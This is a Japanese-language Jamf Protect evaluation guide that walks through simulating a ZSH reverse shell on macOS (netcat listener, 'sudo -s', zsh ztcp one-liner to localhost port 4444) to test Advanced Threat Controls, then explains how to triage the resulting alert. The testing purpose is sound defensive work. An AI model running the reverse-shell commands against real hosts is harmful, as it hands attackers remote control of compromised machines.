アドバンス脅威制御を使用したテストと分析:ATCReverseShellZSH - Jamf Protect 評価ガイド

Jamf Protect 評価ガイド

Solution
Application
Content Type
テクニカル資料
Utilities & Services
ft:locale
ja-JP

一般的な攻撃パターンは、リバースシェルの作成に使用される ZSH 構文です。これは、攻撃者がシステムへすでにアクセスできていて、即興のインタラクティブシェルを確立する必要がある後に、よく行われます。リバースシェルは、攻撃者が自分のシステムに接続し直して、侵害されたシステムをコマンドで制御するために攻撃者が使用する一般的な手法です。これにより、攻撃者は侵害されたマシンを制御できるようになります。通常、これは偵察の実行、さらなる攻撃ステージの実行、またはデータ漏洩の実行を目的としています。

このテストを使用して、アドバンス脅威制御がどのようにしてリバースシェル ZSH (ATCReverseShellZSH) 攻撃をブロックおよび報告できるかを評価します。

Requirements

Jamf Protect のテストプランで、アドバンス脅威制御設定が ブロックとレポート または レポートのみ に設定されていることを確認します。

仮想マシンを使用している場合、このシミュレーションの最後に戻すために使うスナップショットを作成してください。

  1. 最初のターミナルを開いて、以下のコマンドを実行します。

    このターミナルセッションは、攻撃者が自分のマシンにリスナーを作成し、最終的に侵害されたシステムから接続し直すことを表しています。

    # start a netcat listener on local host port 4444
    nc -l 4444
    
  2. 別の Terminal ウィンドウを開いて、次のコマンドを実行してください。

    このターミナルセッションは、リスナーがアクティブであることを攻撃者が確認した侵害されたシステムを表しています。

    # verify that port 4444 is up
    sudo lsof -i -P | grep "4444"
  3. 同じターミナルウィンドウで、以下のコマンドを実行することにより、ZSH リバースシェルを作成して、ポート4444のローカルホストに接続し直します。
    # Summon new shell
    sudo -s
    
    # Create reverse shell
    /bin/zsh -c 'zmodload zsh/net/tcp && ztcp 127.0.0.1 4444 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY' &
  4. 出力は、アドバンス脅威制御の構成によって異なります。
    • ブロックとレポート を選択した場合、セカンダリ (「侵害された」) ターミナルウィンドウの状態には、ZSH ジョブが終了し、攻撃が停止し、接続が確立されていないことを示すネイティブ macOS 通知が表示されます。

    • レポートのみ を選択した場合、最初の netcat リスナーターミナルウィンドウ (「攻撃者」) では、「侵害された」ウィンドウからペイロードを配信した後、リバースシェルが表示されます。これにより、侵害されたシステムから攻撃者のリスナーへの接続が作成されます。攻撃者は、netcat リスナーによって「侵害された」システム上でコマンドを実行できます。例えば、nc -l 127.0.0.1 4444および whoami

    上記のテストのステップを完了後、ATCReverseShellZSH というタイトルの新しいアラートが Jamf Protect Cloud 内の アラート に表示されます。
  5. ATCReverseShellZSH アラートを開いて、確認します。アラートの以下の要素に注意してください。
    制御タイプアラート要素
    ブロックとレポート

    アクション (Action)阻止済み (Prevented) になっていて、ステータス (Status)自動解決済み (Auto Resolved) になっています。これは、一般的な攻撃手法 (リバースシェル) が発生する前に Jamf Protect が介入したためです。

    レポートのみ

    アラートの詳細を確認し、修正アクションを決定した後、必要に応じてアラートのステータス (Status) を変更できるようになりました。

    実世界のシナリオでは、このアラートの調査は、まずプロセスツリーを調べてプログラムがどのように実行されたかを理解することから始まり、次にターゲット情報と攻撃手法に対するプロセス引数を調べることになります。

    プロセス (Processes) > プロセスツリー (Process tree) で、このプログラムがどのように実行されたかを調べます。
    • ブロッキングが無効になっている場合は、zsh コマンドの親を停止します。これは攻撃者のシェルである可能性が高いためです。

    • プロセスタグに、これが Terminal.app で実行されたことが示されている場合は、攻撃者ではなくエンドユーザが原因である可能性があります。

    • zsh コマンドが Terminal.app プロセス下にない場合は、それらの実行を担当するプロセスを停止し、さらに分析を行って、このシステムが侵害されていることを示す他の兆候がないかどうかを判断します。

    プロセス (Processes) > プロセス引数 (Process Arguments) では、リモート接続に使用されているターゲット IP アドレスとポート、リモートセッションの開始方法、および開始されたリバースシェル引数 (この例では /bin/zsh -c 'zmodload zsh/net/tcp && ztcp 127.0.0.1 4444 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY' &) を表示できます。

  6. 仮想マシンのスナップショットがこのテストシナリオを完了する前に作成された場合、一番簡単なクリーンアップ方法はそのスナップショットが作成された時点に戻すことです。それ以外の場合には、Terminal のこれらのコマンドを実行して、作成されたテストファイルを削除してください。
    # Close the netcat window by entering exit.
    exit